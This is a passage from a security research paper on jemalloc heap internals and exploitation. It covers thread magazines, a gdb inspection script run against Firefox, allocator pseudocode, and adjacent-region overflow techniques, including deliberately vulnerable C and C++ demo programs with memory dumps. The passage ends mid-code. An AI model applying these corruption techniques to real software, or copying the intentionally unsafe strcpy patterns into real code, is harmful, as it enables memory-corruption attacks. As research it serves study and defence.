At this point we should mention that in jemalloc an allocation of zero bytes (that is a malloc(0) call) will return a region of the smallest size class; in the above example a region of size 2. The smallest size class depends on the flavor of jemalloc. For example, in the standalone flavor it is 4 bytes.

The following diagram summarizes our analysis of jemalloc up to this point:

.‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑.

.‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑. | arena_chunk_t |

.‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑. | |

| arena_t | | | | | .‑‑‑‑‑‑‑‑‑‑‑

| | | |

| .‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑. | | | arena_run_t | |

| | arena_chunk_t list |‑‑‑‑‑+ | | | | | |

| `‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑' | | | |

| | | | | page | | |

| arena_bin_t bins[]; | | | | | | | +‑‑‑‑‑

| .‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑. | | | | region | | |

| | bins[0] ... bins[27] | | | | | | | | +‑‑‑‑‑‑‑‑‑‑

| `‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑' | | |.' region | | |

| | | |.'

`‑‑‑‑‑+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+‑‑‑‑' region | | |

| |

| |

| v | | | .‑‑‑‑‑‑‑‑‑‑‑.

| .‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑.page | | |

| | .‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑. |

| | | arena_chunk_t |‑+‑‑‑+ | | | region | | |

| | `‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑' |

| [2‑5] | .‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑. | | | | region | | |

| | | arena_chunk_t | | | | +‑‑‑‑‑‑‑‑‑‑‑+ | |

| | `‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑' |region | | |

| | . . . |

| | .‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑. |

| | | arena_chunk_t | | | `‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑' |

| | `‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑' |2‑6] |

| | . . . |

| `‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑'

| arena_run_t | |

|

+‑‑‑‑‑‑‑‑‑‑+

| page | | |

|

| region | | |

v | | | +‑‑‑

.‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑. region | | |

| arena_bin_t | | | | +‑‑‑‑‑‑‑‑

| bins[0] (size 8) | | | | | region | | |

| |

| .‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑. |

| | arena_run_t *runcur; |‑+‑‑‑‑‑‑‑‑‑+ | | .‑‑‑‑‑‑‑‑‑‑‑.

| `‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑' | page | | |

`‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑'

region | | |

region | | |

region | | |

‑‑‑‑‑‑[ 2.1.6 ‑ Huge allocations

Huge allocations are not very interesting for the attacker but they are an integral part of jemalloc which may affect the exploitation process. Simply put, huge allocations are represented by 'extent_node_t' structures that are ordered in a global red black tree which is common to all threads.

[2‑7]

/* Tree of extents. */

typedef struct extent_node_s extent_node_t;

struct extent_node_s {

#ifdef MALLOC_DSS

/* Linkage for the size/address‑ordered tree. */

rb_node(extent_node_t) link_szad;

#endif

/* Linkage for the address‑ordered tree. */

rb_node(extent_node_t) link_ad;

/* Pointer to the extent that this tree node is responsible for. */

void *addr;

/* Total region size. */

size_t size;

};

typedef rb_tree(extent_node_t) extent_tree_t;

The 'extent_node_t' structures are allocated in small memory regions called base nodes. Base nodes do not affect the layout of end user heap allocations since they are served either by the DSS or by individual memory mappings acquired by 'mmap()'. The actual method used to allocate free space depends on how jemalloc was compiled with 'mmap()' being the default.

/* Allocate an extent node with which to track the chunk. */

node = base_node_alloc();

...

ret = chunk_alloc(csize, zero);

...

/* Insert node into huge. */

node‑>addr = ret;

node‑>size = csize;

...

malloc_mutex_lock(&huge_mtx);

extent_tree_ad_insert(&huge, node);

The most interesting thing about huge allocations is the fact that free base nodes are kept in a simple array of pointers called 'base_nodes'. The aforementioned array, although defined as a simple pointer, it's handled as if it was a two dimensional array holding pointers to available base nodes.

static extent_node_t *base_nodes;

...

static extent_node_t *

base_node_alloc(void)

{

extent_node_t *ret;

malloc_mutex_lock(&base_mtx);

if (base_nodes != NULL) {

ret = base_nodes;

base_nodes = *(extent_node_t **)ret;

...

}

...

}

static void

base_node_dealloc(extent_node_t *node)

{

malloc_mutex_lock(&base_mtx);

*(extent_node_t **)node = base_nodes;

base_nodes = node;

...

}

Taking into account how 'base_node_alloc()' works, it's obvious that if an attacker corrupts the pages that contain the base node pointers, she can force jemalloc to use an arbitrary address as a base node pointer. This itself can lead to interesting scenarios but they are out of the scope of this article since the chances of achieving something like this are quite low. Nevertheless, a quick review of the code reveals that one may be able to achieve this goal by forcing huge allocations once she controls the physically last region of an arena. The attack is possible if and only if the mappings that will hold the base pointers are allocated right after the attacker controlled region.

A careful reader would have noticed that if an attacker manages to pass a controlled value as the first argument to 'base_node_dealloc()' she can get a '4bytes anywhere' result. Unfortunately, as far as the authors can see, this is possible only if the global red black tree holding the huge allocations is corrupted. This situation is far more difficult to achieve than the one described in the previous paragraph. Nevertheless, we would really like to hear from anyone that manages to do so.

‑‑‑‑‑‑[ 2.1.7 ‑ Thread caches (tcache_t)

In the previous paragraphs we mentioned how jemalloc allocates new arenas at will in order to avoid lock contention. In this section we will focus on the mechanisms that are activated on multicore systems and multithreaded programs.

Let's set the following straight:

1) A multicore system is the reason jemalloc allocates more than one arena. On a unicore system there's only one available arena, even on multithreaded applications. However, the Firefox jemalloc variant has just one arena hardcoded, therefore it has no thread caches.

2) On a multicore system, even if the target application runs on a single thread, more than one arenas are used.

No matter what the number of cores on the system is, a multithreaded application utilizing jemalloc will make use of the so called 'magazines' (also called 'tcaches' on newer versions of jemalloc). Magazines (tcaches) are thread local structures used to avoid thread blocking problems. Whenever a thread wishes to allocate a memory region, jemalloc will use those thread specific data structures instead of following the normal code path.

void *

arena_malloc(arena_t *arena, size_t size, bool zero)

{

...

if (size <= bin_maxclass) {

#ifdef MALLOC_MAG

if (__isthreaded && opt_mag) {

mag_rack_t *rack = mag_rack;

if (rack == NULL) {

rack = mag_rack_create(arena); ...

return (mag_rack_alloc(rack, size, zero)); }

else

#endif

return (arena_malloc_small(arena, size, zero)); }

...

}

The 'opt_mag' variable is true by default. The variable '__isthreaded' is exported by 'libthr', the pthread implementation for FreeBSD and is set to 1 on a call to 'pthread_create()'. Obviously, the rest of the details are out of the scope of this article.

In this section we will analyze thread magazines, but the exact same principles apply on the tcaches (the change in the nomenclature is probably the most notable difference between them).

The behavior of thread magazines is affected by the following macros that are _defined_:

MALLOC_MAG ‑ Make use of thread magazines.

MALLOC_BALANCE ‑ Balance arena usage using a simple linear random number generator (have a look at 'choose_arena()').

The following constants are _undefined_:

NO_TLS ‑ TLS _is_ available on __i386__

Furthermore, 'opt_mag', the jemalloc runtime option controlling thread magazine usage, is, as we mentioned earlier, enabled by default.

The following figure depicts the relationship between the various thread magazines' structures.

.‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| mag_rack_t |

|

| bin_mags_t bin_mags[]; |

|

| .‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| | bin_mags[0] ... bin_mags[nbins ‑ 1] | |

| `‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

`‑‑‑‑‑‑‑‑|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|

|

| +‑‑‑‑‑‑‑mag_t |

v | |

.‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑. | void *rounds[] |

| bin_mags_t | | | ...

| | |

| .‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑. | |

| | mag_t *curmag; |‑‑‑‑‑‑‑‑‑‑‑+

| `‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑' |

| ... |

`‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑'

The core of the aforementioned thread local metadata is the 'mag_rack_t'. A 'mag_rack_t' is a simplified equivalent of an arena. It is composed of a single array of 'bin_mags_t' structures. Each thread in a program is associated with a private 'mag_rack_t' which has a lifetime equal to the application's.

typedef struct mag_rack_s mag_rack_t;

struct mag_rack_s {

bin_mags_t bin_mags[1]; /* Dynamically sized. */

};

Bins belonging to magazine racks are represented by 'bin_mags_t' structures (notice the plural form).

/*

* Magazines are lazily allocated, but once created, they remain until the * associated mag_rack is destroyed.

*/

typedef struct bin_mags_s bin_mags_t;

struct bin_mags_s {

mag_t *curmag;

mag_t *sparemag;

};

typedef struct mag_s mag_t;

struct mag_s {

size_t binind; /* Index of associated bin. */

size_t nrounds;

void *rounds[1]; /* Dynamically sized. */

};

Just like a normal bin is associated with a run, a 'bin_mags_t' structure is associated with a magazine pointed by 'curmag' (recall 'runcur'). A magazine is nothing special but a simple array of void pointers which hold memory addresses of preallocated memory regions which are exclusively used by a single thread. Magazines are populated in function 'mag_load()' as seen below.

void

mag_load(mag_t *mag)

{

arena_t *arena;

arena_bin_t *bin;

arena_run_t *run;

void *round;

size_t i;

/* Pick a random arena and the bin responsible for servicing

* the required size class.

*/

arena = choose_arena();

bin = &arena‑>bins[mag‑>binind];

...

for (i = mag‑>nrounds; i < max_rounds; i++) {

...

if ((run = bin‑>runcur) != NULL && run‑>nfree > 0) round = arena_bin_malloc_easy(arena, bin, run); /* [3‑23] */

else

round = arena_bin_malloc_hard(arena, bin); /* [3‑24] */

if (round == NULL)

break;

/* Each 'rounds' holds a preallocated memory region. */

mag‑>rounds[i] = round;

}

...

mag‑>nrounds = i;

}

When a thread calls 'malloc()', the call chain eventually reaches 'mag_rack_alloc()' and then 'mag_alloc()'.

/* Just return the next available void pointer. It points to one of the

* preallocated memory regions.

*/

void *

mag_alloc(mag_t *mag)

{

if (mag‑>nrounds == 0)

return (NULL);

mag‑>nrounds‑‑;

return (mag‑>rounds[mag‑>nrounds]);

}

The most notable thing about magazines is the fact that 'rounds', the array of void pointers, as well as all the related thread metadata (magazine racks, magazine bins and so on) are allocated by normal calls to functions 'arena_bin_malloc_xxx()' ([3‑23], [3‑24]). This results in the thread metadata lying around normal memory regions.

‑‑‑‑‑‑[ 2.1.8 ‑ Unmask jemalloc

As we are sure you are all aware, since version 7.0, gdb can be scripted with Python. In order to unmask and bring to light the internals of the various jemalloc flavors, we have developed a Python script for gdb appropriately named unmask_jemalloc.py. The following is a sample run of the script on Firefox 11.0 on Linux x86 (edited for readability):

$ ./firefox‑bin &

$ gdb ‑x ./gdbinit ‑p `ps x | grep firefox | grep ‑v grep \

| grep ‑v debug | awk '{print $1}'`

GNU gdb (GDB) 7.4‑debian

...

Attaching to process 3493

add symbol table from file "/dbg/firefox‑latest‑symbols/firefox‑bin.dbg" at .text_addr = 0x80494b0

add symbol table from file "/dbg/firefox‑latest‑symbols/libxul.so.dbg" at .text_addr = 0xb5b9a9d0

...

[Thread 0xa4ffdb70 (LWP 3533) exited]

[Thread 0xa57feb70 (LWP 3537) exited]

[New Thread 0xa57feb70 (LWP 3556)]

[Thread 0xa57feb70 (LWP 3556) exited]

gdb $ source unmask_jemalloc.py

gdb $ unmask_jemalloc runs

[jemalloc] [number of arenas: 1]

[jemalloc] [number of bins: 24]

[jemalloc] [no magazines/thread caches detected]

[jemalloc] [arena #00] [bin #00] [region size: 0x0004]

current run at: 0xa52d9000]

[jemalloc] [arena #00] [bin #01] [region size: 0x0008]

current run at: 0xa37c8000]

[jemalloc] [arena #00] [bin #02] [region size: 0x0010]

current run at: 0xa372c000]

[jemalloc] [arena #00] [bin #03] [region size: 0x0020]

current run at: 0xa334d000]

[jemalloc] [arena #00] [bin #04] [region size: 0x0030]

current run at: 0xa3347000]

[jemalloc] [arena #00] [bin #05] [region size: 0x0040]

current run at: 0xa334a000]

[jemalloc] [arena #00] [bin #06] [region size: 0x0050]

current run at: 0xa3732000]

[jemalloc] [arena #00] [bin #07] [region size: 0x0060]

current run at: 0xa3701000]

[jemalloc] [arena #00] [bin #08] [region size: 0x0070]

current run at: 0xa3810000]

[jemalloc] [arena #00] [bin #09] [region size: 0x0080]

current run at: 0xa3321000]

[jemalloc] [arena #00] [bin #10] [region size: 0x00f0]

current run at: 0xa57c7000]

[jemalloc] [arena #00] [bin #11] [region size: 0x0100]

current run at: 0xa37e9000]

[jemalloc] [arena #00] [bin #12] [region size: 0x0110]

current run at: 0xa5a9b000]

[jemalloc] [arena #00] [bin #13] [region size: 0x0120]

current run at: 0xa56ea000]

[jemalloc] [arena #00] [bin #14] [region size: 0x0130]

current run at: 0xa3709000]

[jemalloc] [arena #00] [bin #15] [region size: 0x0140]

current run at: 0xa382c000]

[jemalloc] [arena #00] [bin #16] [region size: 0x0150]

current run at: 0xa39da000]

[jemalloc] [arena #00] [bin #17] [region size: 0x0160]

current run at: 0xa56ee000]

[jemalloc] [arena #00] [bin #18] [region size: 0x0170]

current run at: 0xa3849000]

[jemalloc] [arena #00] [bin #19] [region size: 0x0180]

current run at: 0xa3a21000]

[jemalloc] [arena #00] [bin #20] [region size: 0x01f0]

current run at: 0xafc51000]

[jemalloc] [arena #00] [bin #21] [region size: 0x0200]

current run at: 0xa3751000]

[jemalloc] [arena #00] [bin #22] [region size: 0x0400]

current run at: 0xa371d000]

[jemalloc] [arena #00] [bin #23] [region size: 0x0800]

current run at: 0xa370d000]

[jemalloc] [run 0xa3347000] [from 0xa3347000 to 0xa3348000L] [jemalloc] [run 0xa371d000] [from 0xa371d000 to 0xa3725000L] [jemalloc] [run 0xa3321000] [from 0xa3321000 to 0xa3323000L] [jemalloc] [run 0xa334a000] [from 0xa334a000 to 0xa334b000L] [jemalloc] [run 0xa370d000] [from 0xa370d000 to 0xa3715000L] [jemalloc] [run 0xa3709000] [from 0xa3709000 to 0xa370d000L] [jemalloc] [run 0xa37c8000] [from 0xa37c8000 to 0xa37c9000L] [jemalloc] [run 0xa5a9b000] [from 0xa5a9b000 to 0xa5a9f000L] [jemalloc] [run 0xa3a21000] [from 0xa3a21000 to 0xa3a27000L] [jemalloc] [run 0xa382c000] [from 0xa382c000 to 0xa3831000L] [jemalloc] [run 0xa3701000] [from 0xa3701000 to 0xa3702000L] [jemalloc] [run 0xa57c7000] [from 0xa57c7000 to 0xa57ca000L] [jemalloc] [run 0xa56ee000] [from 0xa56ee000 to 0xa56f3000L] [jemalloc] [run 0xa39da000] [from 0xa39da000 to 0xa39df000L] [jemalloc] [run 0xa37e9000] [from 0xa37e9000 to 0xa37ed000L] [jemalloc] [run 0xa3810000] [from 0xa3810000 to 0xa3812000L] [jemalloc] [run 0xa3751000] [from 0xa3751000 to 0xa3759000L] [jemalloc] [run 0xafc51000] [from 0xafc51000 to 0xafc58000L] [jemalloc] [run 0xa334d000] [from 0xa334d000 to 0xa334e000L] [jemalloc] [run 0xa372c000] [from 0xa372c000 to 0xa372d000L] [jemalloc] [run 0xa52d9000] [from 0xa52d9000 to 0xa52da000L] [jemalloc] [run 0xa56ea000] [from 0xa56ea000 to 0xa56ee000L] [jemalloc] [run 0xa3732000] [from 0xa3732000 to 0xa3733000L] [jemalloc] [run 0xa3849000] [from 0xa3849000 to 0xa384e000L]

There is also preliminary support for Mac OS X (x86_64), tested on Lion 10.7.3 with Firefox 11.0. Also, note that Apple's gdb does not have Python scripting support, so the following was obtained with a custom‑compiled gdb:

$ open firefox‑11.0.app

$ gdb ‑nx ‑x ./gdbinit ‑p 837

...

Attaching to process 837

[New Thread 0x2003 of process 837]

[New Thread 0x2103 of process 837]

[New Thread 0x2203 of process 837]

[New Thread 0x2303 of process 837]

[New Thread 0x2403 of process 837]

[New Thread 0x2503 of process 837]

[New Thread 0x2603 of process 837]

[New Thread 0x2703 of process 837]

[New Thread 0x2803 of process 837]

[New Thread 0x2903 of process 837]

[New Thread 0x2a03 of process 837]

[New Thread 0x2b03 of process 837]

[New Thread 0x2c03 of process 837]

[New Thread 0x2d03 of process 837]

[New Thread 0x2e03 of process 837]

Reading symbols from /dbg/firefox‑11.0.app/Contents/MacOS/firefox...done

Reading symbols from /dbg/firefox‑11.0.app/Contents/MacOS/firefox.dSYM/ Contents/Resources/DWARF/firefox...done.

0x00007fff8636b67a in ?? () from /usr/lib/system/libsystem_kernel.dylib (gdb) source unmask_jemalloc.py

(gdb) unmask_jemalloc

[jemalloc] [number of arenas: 1]

[jemalloc] [number of bins: 35]

[jemalloc] [no magazines/thread caches detected]

[jemalloc] [arena #00] [bin #00] [region size: 0x0008]

current run at: 0x108fe0000]

[jemalloc] [arena #00] [bin #01] [region size: 0x0010]

current run at: 0x1003f5000]

[jemalloc] [arena #00] [bin #02] [region size: 0x0020]

current run at: 0x1003bc000]

[jemalloc] [arena #00] [bin #03] [region size: 0x0030]

current run at: 0x1003d7000]

[jemalloc] [arena #00] [bin #04] [region size: 0x0040]

current run at: 0x1054c6000]

[jemalloc] [arena #00] [bin #05] [region size: 0x0050]

current run at: 0x103652000]

[jemalloc] [arena #00] [bin #06] [region size: 0x0060]

current run at: 0x110c9c000]

[jemalloc] [arena #00] [bin #07] [region size: 0x0070]

current run at: 0x106bef000]

[jemalloc] [arena #00] [bin #08] [region size: 0x0080]

current run at: 0x10693b000]

[jemalloc] [arena #00] [bin #09] [region size: 0x0090]

current run at: 0x10692e000]

[jemalloc] [arena #00] [bin #10] [region size: 0x00a0]

current run at: 0x106743000]

[jemalloc] [arena #00] [bin #11] [region size: 0x00b0]

current run at: 0x109525000]

[jemalloc] [arena #00] [bin #12] [region size: 0x00c0]

current run at: 0x1127c2000]

[jemalloc] [arena #00] [bin #13] [region size: 0x00d0]

current run at: 0x106797000]

[jemalloc] [arena #00] [bin #14] [region size: 0x00e0]

current run at: 0x109296000]

[jemalloc] [arena #00] [bin #15] [region size: 0x00f0]

current run at: 0x110aa9000]

[jemalloc] [arena #00] [bin #16] [region size: 0x0100]

current run at: 0x106c70000]

[jemalloc] [arena #00] [bin #17] [region size: 0x0110]

current run at: 0x109556000]

[jemalloc] [arena #00] [bin #18] [region size: 0x0120]

current run at: 0x1092bf000]

[jemalloc] [arena #00] [bin #19] [region size: 0x0130]

current run at: 0x1092a2000]

[jemalloc] [arena #00] [bin #20] [region size: 0x0140]

current run at: 0x10036a000]

[jemalloc] [arena #00] [bin #21] [region size: 0x0150]

current run at: 0x100353000]

[jemalloc] [arena #00] [bin #22] [region size: 0x0160]

current run at: 0x1093d3000]

[jemalloc] [arena #00] [bin #23] [region size: 0x0170]

current run at: 0x10f024000]

[jemalloc] [arena #00] [bin #24] [region size: 0x0180]

current run at: 0x106b58000]

[jemalloc] [arena #00] [bin #25] [region size: 0x0190]

current run at: 0x10f002000]

[jemalloc] [arena #00] [bin #26] [region size: 0x01a0]

current run at: 0x10f071000]

[jemalloc] [arena #00] [bin #27] [region size: 0x01b0]

current run at: 0x109139000]

[jemalloc] [arena #00] [bin #28] [region size: 0x01c0]

current run at: 0x1091c6000]

[jemalloc] [arena #00] [bin #29] [region size: 0x01d0]

current run at: 0x10032a000]

[jemalloc] [arena #00] [bin #30] [region size: 0x01e0]

current run at: 0x1054f9000]

[jemalloc] [arena #00] [bin #31] [region size: 0x01f0]

current run at: 0x10034c000]

[jemalloc] [arena #00] [bin #32] [region size: 0x0200]

current run at: 0x106739000]

[jemalloc] [arena #00] [bin #33] [region size: 0x0400]

current run at: 0x106c68000]

[jemalloc] [arena #00] [bin #34] [region size: 0x0800]

current run at: 0x10367e000]

We did our best to test unmask_jemalloc.py on all jemalloc variants, however there are probably some bugs left. Feel free to test it and send us patches. The development of unmask_jemalloc.py will continue at [UJEM].

‑‑‑‑[ 2.2 ‑ Algorithms

In this section we present pseudocode the describes the allocation and deallocation algorithms implemented by jemalloc. We start with malloc():

MALLOC(size):

IF size CAN BE SERVICED BY AN ARENA:

IF size IS SMALL OR MEDIUM:

bin = get_bin_for_size(size)

IF bin‑>runcur EXISTS AND NOT FULL: run = bin‑>runcur

ELSE:

run = lookup_or_allocate_nonfull_run() bin‑>runcur = run

bit = get_first_set_bit(run‑>regs_mask) region = get_region(run, bit)

ELIF size IS LARGE:

region = allocate_new_run()

ELSE:

region = allocate_new_chunk()

RETURN region

calloc() is as you would expect:

CALLOC(n, size):

RETURN MALLOC(n * size)

Finally, the pseudocode for free():

FREE(addr):

IF addr IS NOT EQUAL TO THE CHUNK IT BELONGS:

IF addr IS A SMALL ALLOCATION:

run = get_run_addr_belongs_to(addr); bin = run‑>bin;

size = bin‑>reg_size;

element = get_element_index(addr, run, bin) unset_bit(run‑>regs_mask[element])

ELSE: /* addr is a large allocation */

run = get_run_addr_belongs_to(addr) chunk = get_chunk_run_belongs_to(run) run_index = get_run_index(run, chunk) mark_pages_of_run_as_free(run_index)

IF ALL THE PAGES OF chunk ARE MARKED AS FREE: unmap_the_chunk_s_pages(chunk)

ELSE: /* this is a huge allocation */

unmap_the_huge_allocation_s_pages(addr)

‑‑[ 3 ‑ Exploitation tactics

In this section we analyze the exploitation tactics we have investigated against jemalloc. Our goal is to provide to the interested hackers the necessary knowledge and tools to develop exploits for jemalloc heap corruption bugs.

We also try to approach jemalloc heap exploitation in an abstract way initially, identifying 'exploitation primitives' and then continuing into the specific required technical details. Chris Valasek and Ryan Smith have explored the value of abstracting heap exploitation through primitives [CVRS]. The main idea is that specific exploitation techniques eventually become obsolete. Therefore it is important to approach exploitation abstractly and identify primitives that can applied to new targets. We have used this approach before, comparing FreeBSD and Linux kernel heap exploitation [HAPF, APHN]. Regarding jemalloc, we analyze adjacent data corruption, heap manipulation and metadata corruption exploitation primitives.

‑‑‑‑[ 3.1 ‑ Adjacent region corruption

The main idea behind adjacent heap item corruptions is that you exploit the fact that the heap manager places user allocations next to each other contiguously without other data in between. In jemalloc regions of the same size class are placed on the same bin. In the case that they are also placed on the same run of the bin then there are no inline metadata between them. In 3.2 we will see how we can force this, but for now let's assume that new allocations of the same size class are placed in the same run.

Therefore, we can place a victim object/structure of our choosing in the same run and next to the vulnerable object/structure we plan to overflow. The only requirement is that the victim and vulnerable objects need to be of a size that puts them in the same size class and therefore possibly in the same run (again, see the next subsection on how to control this). Since there are no metadata between the two regions, we can overflow from the vulnerable region to the victim region we have chosen. Usually the victim region is something that can help us achieve arbitrary code execution, for example function pointers.

In the following contrived example consider that 'three' is your chosen victim object and that the vulnerable object is 'two' (full code in file test‑adjacent.c):

char *one, *two, *three;

printf("[*] before overflowing\n");

one = malloc(0x10);

memset(one, 0x41, 0x10);

printf("[+] region one:\t\t0x%x: %s\n", (unsigned int)one, one);

two = malloc(0x10);

memset(two, 0x42, 0x10);

printf("[+] region two:\t\t0x%x: %s\n", (unsigned int)two, two);

three = malloc(0x10);

memset(three, 0x43, 0x10);

printf("[+] region three:\t0x%x: %s\n", (unsigned int)three, three);

[3‑1]

printf("[+] copying argv[1] to region two\n");

strcpy(two, argv[1]);

printf("[*] after overflowing\n");

printf("[+] region one:\t\t0x%x: %s\n", (unsigned int)one, one); printf("[+] region two:\t\t0x%x: %s\n", (unsigned int)two, two); printf("[+] region three:\t0x%x: %s\n", (unsigned int)three, three);

[3‑2]

free(one);

free(two);

free(three);

printf("[*] after freeing all regions\n");

printf("[+] region one:\t\t0x%x: %s\n", (unsigned int)one, one); printf("[+] region two:\t\t0x%x: %s\n", (unsigned int)two, two); printf("[+] region three:\t0x%x: %s\n", (unsigned int)three, three);

[3‑3]

The output (edited for readability):

$ ./test‑adjacent `python ‑c 'print "X" * 30'`

[*] before overflowing

[+] region one: 0xb7003030: AAAAAAAAAAAAAAAA

[+] region two: 0xb7003040: BBBBBBBBBBBBBBBB

[+] region three: 0xb7003050: CCCCCCCCCCCCCCCC

[+] copying argv[1] to region two

[*] after overflowing

[+] region one: 0xb7003030: AAAAAAAAAAAAAAAAXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX

[+] region two: 0xb7003040: XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX [+] region three: 0xb7003050: XXXXXXXXXXXXXX

[*] after freeing all regions

[+] region one: 0xb7003030: AAAAAAAAAAAAAAAAXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX

[+] region two: 0xb7003040: XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX [+] region three: 0xb7003050: XXXXXXXXXXXXXX

Examining the above we can see that region 'one' is at 0xb7003030 and that the following two allocations (regions 'two' and 'three') are in the same run immediately after 'one' and all three next to each other without any metadata in between them. After the overflow of 'two' with 30 'X's we can see that region 'three' has been overwritten with 14 'X's (30 ‑ 16 for the size of region 'two').

In order to achieve a better understanding of the jemalloc memory layout let's fire up gdb with three breakpoints at [3‑1], [3‑2] and [3‑3].

At breakpoint [3‑1]:

Breakpoint 1, 0x080486a9 in main ()

gdb $ print arenas[0].bins[2].runcur

$1 = (arena_run_t *) 0xb7003000

At 0xb7003000 is the current run of the bin bins[2] that manages the size class 16 in the standalone jemalloc flavor that we have linked against. Let's take a look at the run's contents:

gdb $ x/40x 0xb7003000

0xb7003000: 0xb78007ec 0x00000003 0x000000fa 0xfffffff8 0xb7003010: 0xffffffff 0xffffffff 0xffffffff 0xffffffff 0xb7003020: 0xffffffff 0xffffffff 0x1fffffff 0x000000ff 0xb7003030: 0x41414141 0x41414141 0x41414141 0x41414141 0xb7003040: 0x42424242 0x42424242 0x42424242 0x42424242 0xb7003050: 0x43434343 0x43434343 0x43434343 0x43434343 0xb7003060: 0x00000000 0x00000000 0x00000000 0x00000000 0xb7003070: 0x00000000 0x00000000 0x00000000 0x00000000 0xb7003080: 0x00000000 0x00000000 0x00000000 0x00000000 0xb7003090: 0x00000000 0x00000000 0x00000000 0x00000000

After some initial metadata (the run's header which we will see in more detail at 3.3.1) we have region 'one' at 0xb7003030 followed by regions 'two' and 'three', all of size 16 bytes. Again we can see that there are no metadata between the regions. Continuing to breakpoint [3‑2] and examining again the contents of the run:

Breakpoint 2, 0x08048724 in main ()

gdb $ x/40x 0xb7003000

0xb7003000: 0xb78007ec 0x00000003 0x000000fa 0xfffffff8 0xb7003010: 0xffffffff 0xffffffff 0xffffffff 0xffffffff 0xb7003020: 0xffffffff 0xffffffff 0x1fffffff 0x000000ff 0xb7003030: 0x41414141 0x41414141 0x41414141 0x41414141 0xb7003040: 0x58585858 0x58585858 0x58585858 0x58585858 0xb7003050: 0x58585858 0x58585858 0x58585858 0x43005858 0xb7003060: 0x00000000 0x00000000 0x00000000 0x00000000 0xb7003070: 0x00000000 0x00000000 0x00000000 0x00000000 0xb7003080: 0x00000000 0x00000000 0x00000000 0x00000000 0xb7003090: 0x00000000 0x00000000 0x00000000 0x00000000

We can see that our 30 'X's (0x58) have overwritten the complete 16 bytes of region 'two' at 0xb7003040 and continued for 15 bytes (14 plus a NULL from strcpy(3)) in region 'three' at 0xb7003050. From this memory dump it should be clear why the printf(3) call of region 'one' after the overflow continues to print all 46 bytes (16 from region 'one' plus 30 from the overflow) up to the NULL placed by the strcpy(3) call. As it has been demonstrated by Peter Vreugdenhil in the context of Internet Explorer heap overflows [PV10], this can lead to information leaks from the region that is adjacent to the region with the string whose terminating NULL has been overwritten. You just need to read back the string and you will get all data up to the first encountered NULL.

At breakpoint [3‑3] after the deallocation of all three regions:

Breakpoint 3, 0x080487ab in main ()

gdb $ x/40x 0xb7003000

0xb7003000: 0xb78007ec 0x00000003 0x000000fd 0xffffffff 0xb7003010: 0xffffffff 0xffffffff 0xffffffff 0xffffffff 0xb7003020: 0xffffffff 0xffffffff 0x1fffffff 0x000000ff 0xb7003030: 0x41414141 0x41414141 0x41414141 0x41414141 0xb7003040: 0x58585858 0x58585858 0x58585858 0x58585858 0xb7003050: 0x58585858 0x58585858 0x58585858 0x43005858 0xb7003060: 0x00000000 0x00000000 0x00000000 0x00000000 0xb7003070: 0x00000000 0x00000000 0x00000000 0x00000000 0xb7003080: 0x00000000 0x00000000 0x00000000 0x00000000 0xb7003090: 0x00000000 0x00000000 0x00000000 0x00000000

We can see that jemalloc does not clear the freed regions. This behavior of leaving stale data in regions that have been freed and can be allocated again can lead to easier exploitation of use‑after‑free bugs (see next section).

To explore the adjacent region corruption primitive further in the context of jemalloc, we will now look at C++ and virtual function pointers (VPTRs). We will only focus on jemalloc‑related details; for more general information the interested reader should see rix's Phrack paper (the principles of which are still applicable) [VPTR]. We begin with a C++ example that is based on rix's bo2.cpp (file vuln‑vptr.cpp in the code archive):

class base

{

private:

char buf[32];

public:

void

copy(const char *str)

{

strcpy(buf, str);

}

virtual void

print(void)

{

printf("buf: 0x%08x: %s\n", buf, buf);

}

};

class derived_a : public base

{

public:

void

print(void)

{

printf("[+] derived_a: "); base::print();

}

};

class derived_b : public base

{

public:

void

print(void)

{

printf("[+] derived_b: "); base::print();

}

};

int

main(int argc, char *argv[])

{

base *obj_a;

base *obj_b;

obj_a = new derived_a;

